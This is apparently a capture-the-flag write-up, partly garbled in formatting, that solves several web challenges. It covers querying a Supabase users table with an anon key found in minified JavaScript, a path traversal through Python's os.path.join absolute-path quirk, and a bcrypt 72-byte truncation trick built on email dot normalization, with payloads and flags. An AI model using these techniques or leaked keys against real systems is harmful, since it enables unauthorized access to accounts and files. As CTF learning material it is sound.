Hack. Eat. Sleep. Repeat!!!
view-source for minified js files and discovered one.#! /usr/bin/env python3
from supabase import Client,create_client
url = "https://dpyxnwiuwzahkxuxrojp.supabase.co"
key = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI"
client = create_client(url,key)
data = client.table("users").select("*").eq("username","admin").execute()
print(data)
ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}/create_game and in body query language.@app.route('/create_game', methods=['POST'])
def create_game():
if 'username' not in session:
return redirect(url_for('index'))
# generate unique code
while True:
code = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
if code not in games:
break
# prepare game with selected language word list
# determine language (default to first available)
language = request.form.get('language', None)
if not language or '.' in language:
language = LANGUAGES[0] if LANGUAGES else None
# load words for this language
word_list = []
if language:
wl_path = os.path.join(WORDS_DIR, f"{language}.txt")
try:
with open(wl_path) as wf:
word_list = [line.strip() for line in wf if line.strip()]
except IOError as e:
print(e)
word_list = []
# fallback if needed
if not word_list:
word_list = []
os.path.join() which an attacker can control to file read in such a way that abuses os.path.join()’s quirk. If the first argument is a relative path and the second path is an absolute one.The function picks the second one which is an absolute and nullifies the first argument. e.gictf{common_os_path_join_L_b19d35ca}Eth007, it redacts it.function makeFlag(name){
const clean = name.trim() || "anon";
const h = customHash(clean);
return `ictf{${h}}`;
}
ictf{7b4b3965}/user-:app.post('/user', limiter, (req, res, next) => {
if (!req.body) return res.redirect('/login')
const nEmail = normalizeEmail(req.body.email)
if (nEmail.length > 64) {
req.session.error = 'Your email address is too long'
return res.redirect('/login')
}
const initialPassword = req.body.email + crypto.randomBytes(16).toString('hex')
console.log(initialPassword)
bcrypt.hash(initialPassword, 10, function (err, hash) {
if (err) return next(err)
const query = "INSERT INTO users VALUES (?, ?)"
db.run(query, [nEmail, hash], (err) => {
if (err) {
if (err.code === 'SQLITE_CONSTRAINT') {
req.session.error = 'This email address is already registered'
return res.redirect('/login')
}
return next(err)
}
req.body.email and passes it to normalizeEmail which normalizes it to normal email format.Then, it takes the original email passed with 16 random bytes to form our password which looks unguessable for now. Although, the normalized maail must be lesser than 64.Our newly created password is hashed with bcrypt and passed to the db.bcrypt hashes 72 chars out of any password passed to it.We need to pass 72 characters that we control to guess our password.This will be possible because our original mail gets passed and not the normalized onenormalize-email and discovered that adding dot before the @gmail.com will get removed by the package.64 and add dots to make it fit 72 e.ggmail.comemail-: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab@gmail.com
password-: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab........@gmail.com
ictf{8ee2ebc4085927c0dc85f07303354a05}